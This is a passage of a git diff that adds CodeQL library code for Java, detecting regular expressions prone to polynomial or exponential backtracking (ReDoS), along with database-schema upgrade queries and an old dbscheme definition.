+      forall(State next | deltaClosedChar(s, char, next) | isLikelyRejectable(next))
+    )
+  }
+
+  /**
+   * Gets a char for there exists a transition away from `s`,
+   * and `s` has not been found to be rejectable by `hasRejectEdge` or `isRejectState`.
+   */
+  pragma[noinline]
+  private string hasEdgeToLikelyRejectableHelper(StateInPumpableRegexp s) {
+    not hasRejectEdge(s) and
+    not isRejectState(s) and
+    deltaClosedChar(s, result, _)
+  }
+
+  /**
+   * Holds if there is a state `next` that can be reached from `prev`
+   * along epsilon edges, such that there is a transition from
+   * `prev` to `next` that the character symbol `char`.
+   */
+  predicate deltaClosedChar(StateInPumpableRegexp prev, string char, StateInPumpableRegexp next) {
+    deltaClosed(prev, getAnInputSymbolMatchingRelevant(char), next)
+  }
+
+  pragma[noinline]
+  InputSymbol getAnInputSymbolMatchingRelevant(string char) {
+    char = relevant(_) and
+    result = getAnInputSymbolMatching(char)
+  }
+
+  /**
+   * Gets a char used for finding possible suffixes inside `root`.
+   */
+  pragma[noinline]
+  private string relevant(RegExpRoot root) {
+    exists(ascii(result)) and exists(root)
+    or
+    exists(InputSymbol s | belongsTo(s, root) | result = intersect(s, _))
+    or
+    // The characters from `hasSimpleRejectEdge`. Only `\n` is really needed (as `\n` is not in the `ascii` relation).
+    // The three chars must be kept in sync with `hasSimpleRejectEdge`.
+    result = ["|", "\n", "Z"] and exists(root)
+  }
+
+  /**
+   * Holds if there exists a `char` such that there is no edge from `s` labeled `char` in our NFA.
+   * The NFA does not model reject states, so the above is the same as saying there is a reject edge.
+   */
+  private predicate hasRejectEdge(State s) {
+    hasSimpleRejectEdge(s)
+    or
+    not hasSimpleRejectEdge(s) and
+    exists(string char | char = relevant(getRoot(s.getRepr())) | not deltaClosedChar(s, char, _))
+  }
+
+  /**
+   * Holds if there is no edge from `s` labeled with "|", "\n", or "Z" in our NFA.
+   * This predicate is used as a cheap pre-processing to speed up `hasRejectEdge`.
+   */
+  private predicate hasSimpleRejectEdge(State s) {
+    // The three chars were chosen arbitrarily. The three chars must be kept in sync with `relevant`.
+    exists(string char | char = ["|", "\n", "Z"] | not deltaClosedChar(s, char, _))
+  }
+
+  /**
+   * Gets a state that can be reached from pumpable `fork` consuming all
+   * chars in `w` any number of times followed by the first `i+1` characters of `w`.
+   */
+  pragma[noopt]
+  private State process(State fork, string w, int i) {
+    exists(State prev | prev = getProcessPrevious(fork, i, w) |
+      exists(string char, InputSymbol sym |
+        char = w.charAt(i) and
+        deltaClosed(prev, sym, result) and
+        // noopt to prevent joining `prev` with all possible `chars` that could transition away from `prev`.
+        // Instead only join with the set of `chars` where a relevant `InputSymbol` has already been found.
+        sym = getAProcessInputSymbol(char)
+      )
+    )
+  }
+
+  /**
+   * Gets a state that can be reached from pumpable `fork` consuming all
+   * chars in `w` any number of times followed by the first `i` characters of `w`.
+   */
+  private State getProcessPrevious(State fork, int i, string w) {
+    isReDoSCandidate(fork, w) and
+    (
+      i = 0 and result = fork
+      or
+      result = process(fork, w, i - 1)
+      or
+      // repeat until fixpoint
+      i = 0 and
+      result = process(fork, w, w.length() - 1)
+    )
+  }
+
+  /**
+   * Gets an InputSymbol that matches `char`.
+   * The predicate is specialized to only have a result for the `char`s that are relevant for the `process` predicate.
+   */
+  private InputSymbol getAProcessInputSymbol(string char) {
+    char = getAProcessChar() and
+    result = getAnInputSymbolMatching(char)
+  }
+
+  /**
+   * Gets a `char` that occurs in a `pump` string.
+   */
+  private string getAProcessChar() { result = any(string s | isReDoSCandidate(_, s)).charAt(_) }
+}
+
+/**
+ * Gets the result of backslash-escaping newlines, carriage-returns and
+ * backslashes in `s`.
+ */
+bindingset[s]
+private string escape(string s) {
+  result =
+    s.replaceAll("\\", "\\\\")
+        .replaceAll("\n", "\\n")
+        .replaceAll("\r", "\\r")
+        .replaceAll("\t", "\\t")
+}
+
+/**
+ * Gets `str` with the last `i` characters moved to the front.
+ *
+ * We use this to adjust the pump string to match with the beginning of
+ * a RegExpTerm, so it doesn't start in the middle of a constant.
+ */
+bindingset[str, i]
+private string rotate(string str, int i) {
+  result = str.suffix(str.length() - i) + str.prefix(str.length() - i)
+}
+
+/**
+ * Holds if `term` may cause superlinear backtracking on strings containing many repetitions of `pump`.
+ * Gets the shortest string that causes superlinear backtracking.
+ */
+private predicate isReDoSAttackable(RegExpTerm term, string pump, State s) {
+  exists(int i, string c | s = Match(term, i) |
+    c =
+      min(string w |
+        any(ReDoSConfiguration conf).isReDoSCandidate(s, w) and
+        SuffixConstruction::reachesOnlyRejectableSuffixes(s, w)
+      |
+        w order by w.length(), w
+      ) and
+    pump = escape(rotate(c, i))
+  )
+}
+
+/**
+ * Holds if the state `s` (represented by the term `t`) can have backtracking with repetitions of `pump`.
+ *
+ * `prefixMsg` contains a friendly message for a prefix that reaches `s` (or `prefixMsg` is the empty string if the prefix is empty or if no prefix could be found).
+ */
+predicate hasReDoSResult(RegExpTerm t, string pump, State s, string prefixMsg) {
+  isReDoSAttackable(t, pump, s) and
+  (
+    prefixMsg = "starting with '" + escape(PrefixConstruction::prefix(s)) + "' and " and
+    not PrefixConstruction::prefix(s) = ""
+    or
+    PrefixConstruction::prefix(s) = "" and prefixMsg = ""
+    or
+    not exists(PrefixConstruction::prefix(s)) and prefixMsg = ""
+  )
+}
diff --git a/java/ql/lib/semmle/code/java/security/performance/ReDoSUtilSpecific.qll b/java/ql/lib/semmle/code/java/security/performance/ReDoSUtilSpecific.qll
new file mode 100644
index 00000000000..d72d6770848
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/security/performance/ReDoSUtilSpecific.qll
@@ -0,0 +1,76 @@
+/**
+ * This module should provide a class hierarchy corresponding to a parse tree of regular expressions.
+ * This is the interface to the shared ReDoS library.
+ */
+
+private import java
+import semmle.code.FileSystem
+import semmle.code.java.regex.RegexTreeView
+
+/**
+ * Holds if `term` is an escape class representing e.g. `\d`.
+ * `clazz` is which character class it represents, e.g. "d" for `\d`.
+ */
+predicate isEscapeClass(RegExpTerm term, string clazz) {
+  term.(RegExpCharacterClassEscape).getValue() = clazz
+  or
+  term.(RegExpNamedProperty).getBackslashEquivalent() = clazz
+}
+
+/**
+ * Holds if `term` is a possessive quantifier, e.g. `a*+`.
+ */
+predicate isPossessive(RegExpQuantifier term) { term.isPossessive() }
+
+/**
+ * Holds if the regex that `term` is part of is used in a way that ignores any leading prefix of the input it's matched against.
+ */
+predicate matchesAnyPrefix(RegExpTerm term) { not term.getRegex().matchesFullString() }
+
+/**
+ * Holds if the regex that `term` is part of is used in a way that ignores any trailing suffix of the input it's matched against.
+ */
+predicate matchesAnySuffix(RegExpTerm term) { not term.getRegex().matchesFullString() }
+
+/**
+ * Holds if the regular expression should not be considered.
+ *
+ * We make the pragmatic performance optimization to ignore regular expressions in files
+ * that do not belong to the project code (such as installed dependencies).
+ */
+predicate isExcluded(RegExpParent parent) {
+  not exists(parent.getRegex().getLocation().getFile().getRelativePath())
+  or
+  // Regexes with many occurrences of ".*" may cause the polynomial ReDoS computation to explode, so
+  // we explicitly exclude these.
+  strictcount(int i | exists(parent.getRegex().getText().regexpFind("\\.\\*", i, _)) | i) > 10
+}
+
+/**
+ * A module containing predicates for determining which flags a regular expression have.
+ */
+module RegExpFlags {
+  /**
+   * Holds if `root` has the `i` flag for case-insensitive matching.
+   */
+  predicate isIgnoreCase(RegExpTerm root) {
+    root.isRootTerm() and
+    root.getLiteral().isIgnoreCase()
+  }
+
+  /**
+   * Gets the flags for `root`, or the empty string if `root` has no flags.
+   */
+  string getFlags(RegExpTerm root) {
+    root.isRootTerm() and
+    result = root.getLiteral().getFlags()
+  }
+
+  /**
+   * Holds if `root` has the `s` flag for multi-line matching.
+   */
+  predicate isDotAll(RegExpTerm root) {
+    root.isRootTerm() and
+    root.getLiteral().isDotAll()
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/security/performance/SuperlinearBackTracking.qll b/java/ql/lib/semmle/code/java/security/performance/SuperlinearBackTracking.qll
new file mode 100644
index 00000000000..4ba9520cdcc
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/security/performance/SuperlinearBackTracking.qll
@@ -0,0 +1,454 @@
+/**
+ * Provides classes for working with regular expressions that can
+ * perform backtracking in superlinear time.
+ */
+
+import ReDoSUtil
+
+/*
+ * This module implements the analysis described in the paper:
+ *   Valentin Wustholz, Oswaldo Olivo, Marijn J. H. Heule, and Isil Dillig:
+ *     Static Detection of DoS Vulnerabilities in
+ *     Programs that use Regular Expressions
+ *     (Extended Version).
+ *   (https://arxiv.org/pdf/1701.04045.pdf)
+ *
+ * Theorem 3 from the paper describes the basic idea.
+ *
+ * The following explains the idea using variables and predicate names that are used in the implementation:
+ * We consider a pair of repetitions, which we will call `pivot` and `succ`.
+ *
+ * We create a product automaton of 3-tuples of states (see `StateTuple`).
+ * There exists a transition `(a,b,c) -> (d,e,f)` in the product automaton
+ * iff there exists three transitions in the NFA `a->d, b->e, c->f` where those three
+ * transitions all match a shared character `char`. (see `getAThreewayIntersect`)
+ *
+ * We start a search in the product automaton at `(pivot, pivot, succ)`,
+ * and search for a series of transitions (a `Trace`), such that we end
+ * at `(pivot, succ, succ)` (see `isReachableFromStartTuple`).
+ *
+ * For example, consider the regular expression `/^\d*5\w*$/`.
+ * The search will start at the tuple `(\d*, \d*, \w*)` and search
+ * for a path to `(\d*, \w*, \w*)`.
+ * This path exists, and consists of a single transition in the product automaton,
+ * where the three corresponding NFA edges all match the character `"5"`.
+ *
+ * The start-state in the NFA has an any-transition to itself, this allows us to
+ * flag regular expressions such as `/a*$/` - which does not have a start anchor -
+ * and can thus start matching anywhere.
+ *
+ * The implementation is not perfect.
+ * It has the same suffix detection issue as the `js/redos` query, which can cause false positives.
+ * It also doesn't find all transitions in the product automaton, which can cause false negatives.
+ */
+
+/**
+ * An instantiaion of `ReDoSConfiguration` for superlinear ReDoS.
+ */
+class SuperLinearReDoSConfiguration extends ReDoSConfiguration {
+  SuperLinearReDoSConfiguration() { this = "SuperLinearReDoSConfiguration" }
+
+  override predicate isReDoSCandidate(State state, string pump) { isPumpable(_, state, pump) }
+}
+
+/**
+ * Gets any root (start) state of a regular expression.
+ */
+private State getRootState() { result = mkMatch(any(RegExpRoot r)) }
+
+private newtype TStateTuple =
+  MkStateTuple(State q1, State q2, State q3) {
+    // starts at (pivot, pivot, succ)
+    isStartLoops(q1, q3) and q1 = q2
+    or
+    step(_, _, _, _, q1, q2, q3) and FeasibleTuple::isFeasibleTuple(q1, q2, q3)
+  }
+
+/**
+ * A state in the product automaton.
+ * The product automaton contains 3-tuples of states.
+ *
+ * We lazily only construct those states that we are actually
+ * going to need.
+ * Either a start state `(pivot, pivot, succ)`, or a state
+ * where there exists a transition from an already existing state.
+ *
+ * The exponential variant of this query (`js/redos`) uses an optimization
+ * trick where `q1 <= q2`. This trick cannot be used here as the order
+ * of the elements matter.
+ */
+class StateTuple extends TStateTuple {
+  State q1;
+  State q2;
+  State q3;
+
+  StateTuple() { this = MkStateTuple(q1, q2, q3) }
+
+  /**
+   * Gest a string repesentation of this tuple.
+   */
+  string toString() { result = "(" + q1 + ", " + q2 + ", " + q3 + ")" }
+
+  /**
+   * Holds if this tuple is `(r1, r2, r3)`.
+   */
+  pragma[noinline]
+  predicate isTuple(State r1, State r2, State r3) { r1 = q1 and r2 = q2 and r3 = q3 }
+}
+
+/**
+ * A module for determining feasible tuples for the product automaton.
+ *
+ * The implementation is split into many predicates for performance reasons.
+ */
+private module FeasibleTuple {
+  /**
+   * Holds if the tuple `(r1, r2, r3)` might be on path from a start-state to an end-state in the product automaton.
+   */
+  pragma[inline]
+  predicate isFeasibleTuple(State r1, State r2, State r3) {
+    // The first element is either inside a repetition (or the start state itself)
+    isRepetitionOrStart(r1) and
+    // The last element is inside a repetition
+    stateInsideRepetition(r3) and
+    // The states are reachable in the NFA in the order r1 -> r2 -> r3
+    delta+(r1) = r2 and
+    delta+(r2) = r3 and
+    // The first element can reach a beginning (the "pivot" state in a `(pivot, succ)` pair).
+    canReachABeginning(r1) and
+    // The last element can reach a target (the "succ" state in a `(pivot, succ)` pair).
+    canReachATarget(r3)
+  }
+
+  /**
+   * Holds if `s` is either inside a repetition, or is the start state (which is a repetition).
+   */
+  pragma[noinline]
+  private predicate isRepetitionOrStart(State s) { stateInsideRepetition(s) or s = getRootState() }
+
+  /**
+   * Holds if state `s` might be inside a backtracking repetition.
+   */
+  pragma[noinline]
+  private predicate stateInsideRepetition(State s) {
+    s.getRepr().getParent*() instanceof InfiniteRepetitionQuantifier
+  }
+
+  /**
+   * Holds if there exists a path in the NFA from `s` to a "pivot" state
+   * (from a `(pivot, succ)` pair that starts the search).
+   */
+  pragma[noinline]
+  private predicate canReachABeginning(State s) {
+    delta+(s) = any(State pivot | isStartLoops(pivot, _))
+  }
+
+  /**
+   * Holds if there exists a path in the NFA from `s` to a "succ" state
+   * (from a `(pivot, succ)` pair that starts the search).
+   */
+  pragma[noinline]
+  private predicate canReachATarget(State s) { delta+(s) = any(State succ | isStartLoops(_, succ)) }
+}
+
+/**
+ * Holds if `pivot` and `succ` are a pair of loops that could be the beginning of a quadratic blowup.
+ *
+ * There is a slight implementation difference compared to the paper: this predicate requires that `pivot != succ`.
+ * The case where `pivot = succ` causes exponential backtracking and is handled by the `js/redos` query.
+ */
+predicate isStartLoops(State pivot, State succ) {
+  pivot != succ and
+  succ.getRepr() instanceof InfiniteRepetitionQuantifier and
+  delta+(pivot) = succ and
+  (
+    pivot.getRepr() instanceof InfiniteRepetitionQuantifier
+    or
+    pivot = mkMatch(any(RegExpRoot root))
+  )
+}
+
+/**
+ * Gets a state for which there exists a transition in the NFA from `s'.
+ */
+State delta(State s) { delta(s, _, result) }
+
+/**
+ * Holds if there are transitions from the components of `q` to the corresponding
+ * components of `r` labelled with `s1`, `s2`, and `s3`, respectively.
+ */
+pragma[noinline]
+predicate step(StateTuple q, InputSymbol s1, InputSymbol s2, InputSymbol s3, StateTuple r) {
+  exists(State r1, State r2, State r3 |
+    step(q, s1, s2, s3, r1, r2, r3) and r = MkStateTuple(r1, r2, r3)
+  )
+}
+
+/**
+ * Holds if there are transitions from the components of `q` to `r1`, `r2`, and `r3
+ * labelled with `s1`, `s2`, and `s3`, respectively.
+ */
+pragma[noopt]
+predicate step(
+  StateTuple q, InputSymbol s1, InputSymbol s2, InputSymbol s3, State r1, State r2, State r3
+) {
+  exists(State q1, State q2, State q3 | q.isTuple(q1, q2, q3) |
+    deltaClosed(q1, s1, r1) and
+    deltaClosed(q2, s2, r2) and
+    deltaClosed(q3, s3, r3) and
+    // use noopt to force the join on `getAThreewayIntersect` to happen last.
+    exists(getAThreewayIntersect(s1, s2, s3))
+  )
+}
+
+/**
+ * Gets a char that is matched by all the edges `s1`, `s2`, and `s3`.
+ *
+ * The result is not complete, and might miss some combination of edges that share some character.
+ */
+pragma[noinline]
+string getAThreewayIntersect(InputSymbol s1, InputSymbol s2, InputSymbol s3) {
+  result = minAndMaxIntersect(s1, s2) and result = [intersect(s2, s3), intersect(s1, s3)]
+  or
+  result = minAndMaxIntersect(s1, s3) and result = [intersect(s2, s3), intersect(s1, s2)]
+  or
+  result = minAndMaxIntersect(s2, s3) and result = [intersect(s1, s2), intersect(s1, s3)]
+}
+
+/**
+ * Gets the minimum and maximum characters that intersect between `a` and `b`.
+ * This predicate is used to limit the size of `getAThreewayIntersect`.
+ */
+pragma[noinline]
+string minAndMaxIntersect(InputSymbol a, InputSymbol b) {
+  result = [min(intersect(a, b)), max(intersect(a, b))]
+}
+
+private newtype TTrace =
+  Nil() or
+  Step(InputSymbol s1, InputSymbol s2, InputSymbol s3, TTrace t) {
+    exists(StateTuple p |
+      isReachableFromStartTuple(_, _, p, t, _) and
+      step(p, s1, s2, s3, _)
+    )
+    or
+    exists(State pivot, State succ | isStartLoops(pivot, succ) |
+      t = Nil() and step(MkStateTuple(pivot, pivot, succ), s1, s2, s3, _)
+    )
+  }
+
+/**
+ * A list of tuples of input symbols that describe a path in the product automaton
+ * starting from some start state.
+ */
+class Trace extends TTrace {
+  /**
+   * Gets a string representation of this Trace that can be used for debug purposes.
+   */
+  string toString() {
+    this = Nil() and result = "Nil()"
+    or
+    exists(InputSymbol s1, InputSymbol s2, InputSymbol s3, Trace t | this = Step(s1, s2, s3, t) |
+      result = "Step(" + s1 + ", " + s2 + ", " + s3 + ", " + t + ")"
+    )
+  }
+}
+
+/**
+ * Holds if there exists a transition from `r` to `q` in the product automaton.
+ * Notice that the arguments are flipped, and thus the direction is backwards.
+ */
+pragma[noinline]
+predicate tupleDeltaBackwards(StateTuple q, StateTuple r) { step(r, _, _, _, q) }
+
+/**
+ * Holds if `tuple` is an end state in our search.
+ * That means there exists a pair of loops `(pivot, succ)` such that `tuple = (pivot, succ, succ)`.
+ */
+predicate isEndTuple(StateTuple tuple) { tuple = getAnEndTuple(_, _) }
+
+/**
+ * Gets the minimum length of a path from `r` to some an end state `end`.
+ *
+ * The implementation searches backwards from the end-tuple.
+ * This approach was chosen because it is way more efficient if the first predicate given to `shortestDistances` is small.
+ * The `end` argument must always be an end state.
+ */
+int distBackFromEnd(StateTuple r, StateTuple end) =
+  shortestDistances(isEndTuple/1, tupleDeltaBackwards/2)(end, r, result)
+
+/**
+ * Holds if there exists a pair of repetitions `(pivot, succ)` in the regular expression such that:
+ * `tuple` is reachable from `(pivot, pivot, succ)` in the product automaton,
+ * and there is a distance of `dist` from `tuple` to the nearest end-tuple `(pivot, succ, succ)`,
+ * and a path from a start-state to `tuple` follows the transitions in `trace`.
+ */
+predicate isReachableFromStartTuple(State pivot, State succ, StateTuple tuple, Trace trace, int dist) {
+  // base case. The first step is inlined to start the search after all possible 1-steps, and not just the ones with the shortest path.
+  exists(InputSymbol s1, InputSymbol s2, InputSymbol s3, State q1, State q2, State q3 |
+    isStartLoops(pivot, succ) and
+    step(MkStateTuple(pivot, pivot, succ), s1, s2, s3, tuple) and
+    tuple = MkStateTuple(q1, q2, q3) and
+    trace = Step(s1, s2, s3, Nil()) and
+    dist = distBackFromEnd(tuple, MkStateTuple(pivot, succ, succ))
+  )
+  or
+  // recursive case
+  exists(StateTuple p, Trace v, InputSymbol s1, InputSymbol s2, InputSymbol s3 |
+    isReachableFromStartTuple(pivot, succ, p, v, dist + 1) and
+    dist = isReachableFromStartTupleHelper(pivot, succ, tuple, p, s1, s2, s3) and
+    trace = Step(s1, s2, s3, v)
+  )
+}
+
+/**
+ * Helper predicate for the recursive case in `isReachableFromStartTuple`.
+ */
+pragma[noinline]
+private int isReachableFromStartTupleHelper(
+  State pivot, State succ, StateTuple r, StateTuple p, InputSymbol s1, InputSymbol s2,
+  InputSymbol s3
+) {
+  result = distBackFromEnd(r, MkStateTuple(pivot, succ, succ)) and
+  step(p, s1, s2, s3, r)
+}
+
+/**
+ * Gets the tuple `(pivot, succ, succ)` from the product automaton.
+ */
+StateTuple getAnEndTuple(State pivot, State succ) {
+  isStartLoops(pivot, succ) and
+  result = MkStateTuple(pivot, succ, succ)
+}
+
+private predicate hasSuffix(Trace suffix, Trace t, int i) {
+  // Declaring `t` to be a `RelevantTrace` currently causes a redundant check in the
+  // recursive case, so instead we check it explicitly here.
+  t instanceof RelevantTrace and
+  i = 0 and
+  suffix = t
+  or
+  hasSuffix(Step(_, _, _, suffix), t, i - 1)
+}
+
+pragma[noinline]
+private predicate hasTuple(InputSymbol s1, InputSymbol s2, InputSymbol s3, Trace t, int i) {
+  hasSuffix(Step(s1, s2, s3, _), t, i)
+}
+
+private class RelevantTrace extends Trace, Step {
+  RelevantTrace() {
+    exists(State pivot, State succ, StateTuple q |
+      isReachableFromStartTuple(pivot, succ, q, this, _) and
+      q = getAnEndTuple(pivot, succ)
+    )
+  }
+
+  pragma[noinline]
+  private string getAThreewayIntersect(int i) {
+    exists(InputSymbol s1, InputSymbol s2, InputSymbol s3 |
+      hasTuple(s1, s2, s3, this, i) and
+      result = getAThreewayIntersect(s1, s2, s3)
+    )
+  }
+
+  /** Gets a string corresponding to this trace. */
+  // the pragma is needed for the case where `getAThreewayIntersect(s1, s2, s3)` has multiple values,
+  // not for recursion
+  language[monotonicAggregates]
+  string concretise() {
+    result =
+      strictconcat(int i |
+        hasTuple(_, _, _, this, i)
+      |
+        this.getAThreewayIntersect(i) order by i desc
+      )
+  }
+}
+
+/**
+ * Holds if matching repetitions of `pump` can:
+ * 1) Transition from `pivot` back to `pivot`.
+ * 2) Transition from `pivot` to `succ`.
+ * 3) Transition from `succ` to `succ`.
+ *
+ * From theorem 3 in the paper linked in the top of this file we can therefore conclude that
+ * the regular expression has polynomial backtracking - if a rejecting suffix exists.
+ *
+ * This predicate is used by `SuperLinearReDoSConfiguration`, and the final results are
+ * available in the `hasReDoSResult` predicate.
+ */
+predicate isPumpable(State pivot, State succ, string pump) {
+  exists(StateTuple q, RelevantTrace t |
+    isReachableFromStartTuple(pivot, succ, q, t, _) and
+    q = getAnEndTuple(pivot, succ) and
+    pump = t.concretise()
+  )
+}
+
+/**
+ * Holds if repetitions of `pump` at `t` will cause polynomial backtracking.
+ */
+predicate polynimalReDoS(RegExpTerm t, string pump, string prefixMsg, RegExpTerm prev) {
+  exists(State s, State pivot |
+    hasReDoSResult(t, pump, s, prefixMsg) and
+    isPumpable(pivot, s, _) and
+    prev = pivot.getRepr()
+  )
+}
+
+/**
+ * Gets a message for why `term` can cause polynomial backtracking.
+ */
+string getReasonString(RegExpTerm term, string pump, string prefixMsg, RegExpTerm prev) {
+  polynimalReDoS(term, pump, prefixMsg, prev) and
+  result =
+    "Strings " + prefixMsg + "with many repetitions of '" + pump +
+      "' can start matching anywhere after the start of the preceeding " + prev
+}
+
+/**
+ * A term that may cause a regular expression engine to perform a
+ * polynomial number of match attempts, relative to the input length.
+ */
+class PolynomialBackTrackingTerm extends InfiniteRepetitionQuantifier {
+  string reason;
+  string pump;
+  string prefixMsg;
+  RegExpTerm prev;
+
+  PolynomialBackTrackingTerm() {
+    reason = getReasonString(this, pump, prefixMsg, prev) and
+    // there might be many reasons for this term to have polynomial backtracking - we pick the shortest one.
+    reason = min(string msg | msg = getReasonString(this, _, _, _) | msg order by msg.length(), msg)
+  }
+
+  /**
+   * Holds if all non-empty successors to the polynomial backtracking term matches the end of the line.
+   */
+  predicate isAtEndLine() {
+    forall(RegExpTerm succ | this.getSuccessor+() = succ and not matchesEpsilon(succ) |
+      succ instanceof RegExpDollar
+    )
+  }
+
+  /**
+   * Gets the string that should be repeated to cause this regular expression to perform polynomially.
+   */
+  string getPumpString() { result = pump }
+
+  /**
+   * Gets a message for which prefix a matching string must start with for this term to cause polynomial backtracking.
+   */
+  string getPrefixMessage() { result = prefixMsg }
+
+  /**
+   * Gets a predecessor to `this`, which also loops on the pump string, and thereby causes polynomial backtracking.
+   */
+  RegExpTerm getPreviousLoop() { result = prev }
+
+  /**
+   * Gets the reason for the number of match attempts.
+   */
+  string getReason() { result = reason }
+}
diff --git a/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/compilation_finished.ql b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/compilation_finished.ql
new file mode 100644
index 00000000000..c2f8a272e01
--- /dev/null
+++ b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/compilation_finished.ql
@@ -0,0 +1,7 @@
+class Compilation extends @compilation {
+  string toString() { none() }
+}
+
+from Compilation c, float cpu_seconds, float elapsed_seconds
+where compilation_finished(c, cpu_seconds, elapsed_seconds)
+select c, cpu_seconds, elapsed_seconds, /* success */ 0
diff --git a/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/compilations.ql b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/compilations.ql
new file mode 100644
index 00000000000..6af3bcb8564
--- /dev/null
+++ b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/compilations.ql
@@ -0,0 +1,7 @@
+class Compilation extends @compilation {
+  string toString() { none() }
+}
+
+from Compilation c, string cwd
+where compilations(c, cwd)
+select c, 1, /* Java compilation */ cwd, "<unnamed compilation>"
diff --git a/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/diagnostics.ql b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/diagnostics.ql
new file mode 100644
index 00000000000..a301d31aa09
--- /dev/null
+++ b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/diagnostics.ql
@@ -0,0 +1,14 @@
+class Diagnostic extends @diagnostic {
+  string toString() { none() }
+}
+
+class Location extends @location_default {
+  string toString() { none() }
+}
+
+from
+  Diagnostic d, int severity, string error_tag, string error_message, string full_error_message,
+  Location l
+where diagnostics(d, severity, error_tag, error_message, full_error_message, l)
+select d, /* generated_by */ "CodeQL Java extractor", severity, error_tag, error_message,
+  full_error_message, l
diff --git a/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/old.dbscheme b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/old.dbscheme
new file mode 100644
index 00000000000..37f33da42d2
--- /dev/null
+++ b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/old.dbscheme
@@ -0,0 +1,984 @@
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ *   javac A.java B.java C.java
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+    /**
+     * An invocation of the compiler. Note that more than one file may
+     * be compiled per invocation. For example, this command compiles
+     * three source files:
+     *
+     *   javac A.java B.java C.java
+     */
+    unique int id : @compilation,
+    string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ *   javac A.java B.java C.java
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | *path to extractor*
+ * 1   | `--javac-args`
+ * 2   | A.java
+ * 3   | B.java
+ * 4   | C.java
+ */
+#keyset[id, num]
+compilation_args(
+    int id : @compilation ref,
+    int num : int ref,
+    string arg : string ref
+);
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ *   javac A.java B.java C.java
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | A.java
+ * 1   | B.java
+ * 2   | C.java
+ */
+#keyset[id, num]
+compilation_compiling_files(
+    int id : @compilation ref,
+    int num : int ref,
+    int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1    | CPU seconds used by the extractor frontend
+ * 2    | Elapsed seconds during the extractor frontend
+ * 3    | CPU seconds used by the extractor backend
+ * 4    | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+    int id : @compilation ref,
+    int num : int ref,
+    /* kind:
+       1 = frontend_cpu_seconds
+       2 = frontend_elapsed_seconds
+       3 = extractor_cpu_seconds
+       4 = extractor_elapsed_seconds
+    */
+    int kind : int ref,
+    float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+    unique int diagnostic : @diagnostic ref,
+    int compilation : @compilation ref,
+    int file_number : int ref,
+    int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+    unique int id : @compilation ref,
+    float cpu_seconds : float ref,
+    float elapsed_seconds : float ref
+);
+
+diagnostics(
+    unique int id: @diagnostic,
+    int severity: int ref,
+    string error_tag: string ref,
+    string error_message: string ref,
+    string full_error_message: string ref,
+    int location: @location_default ref
+);
+
+/*
+ * External artifacts
+ */
+
+externalData(
+  int id : @externalDataElement,
+  string path : string ref,
+  int column: int ref,
+  string value : string ref
+);
+
+snapshotDate(
+  unique date snapshotDate : date ref
+);
+
+sourceLocationPrefix(
+  string prefix : string ref
+);
+
+/*
+ * Duplicate code
+ */
+
+duplicateCode(
+  unique int id : @duplication,
+  string relativePath : string ref,
+  int equivClass : int ref
+);
+
+similarCode(
+  unique int id : @similarity,
+  string relativePath : string ref,
+  int equivClass : int ref
+);
+
+@duplication_or_similarity = @duplication | @similarity
+
+tokens(
+  int id : @duplication_or_similarity ref,
+  int offset : int ref,
+  int beginLine : int ref,
+  int beginColumn : int ref,
+  int endLine : int ref,
+  int endColumn : int ref
+);
+
+/*
+ * SMAP
+ */
+
+smap_header(
+  int outputFileId: @file ref,
+  string outputFilename: string ref,
+  string defaultStratum: string ref
+);
+
+smap_files(
+  int outputFileId: @file ref,
+  string stratum: string ref,
+  int inputFileNum: int ref,
+  string inputFileName: string ref,
+  int inputFileId: @file ref
+);
+
+smap_lines(
+  int outputFileId: @file ref,
+  string stratum: string ref,
+  int inputFileNum: int ref,
+  int inputStartLine: int ref,
+  int inputLineCount: int ref,
+  int outputStartLine: int ref,
+  int outputLineIncrement: int ref
+);
+
+/*
+ * Locations and files
+ */
+
+@location = @location_default ;
+
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int beginLine: int ref,
+  int beginColumn: int ref,
+  int endLine: int ref,
+  int endColumn: int ref
+);
+
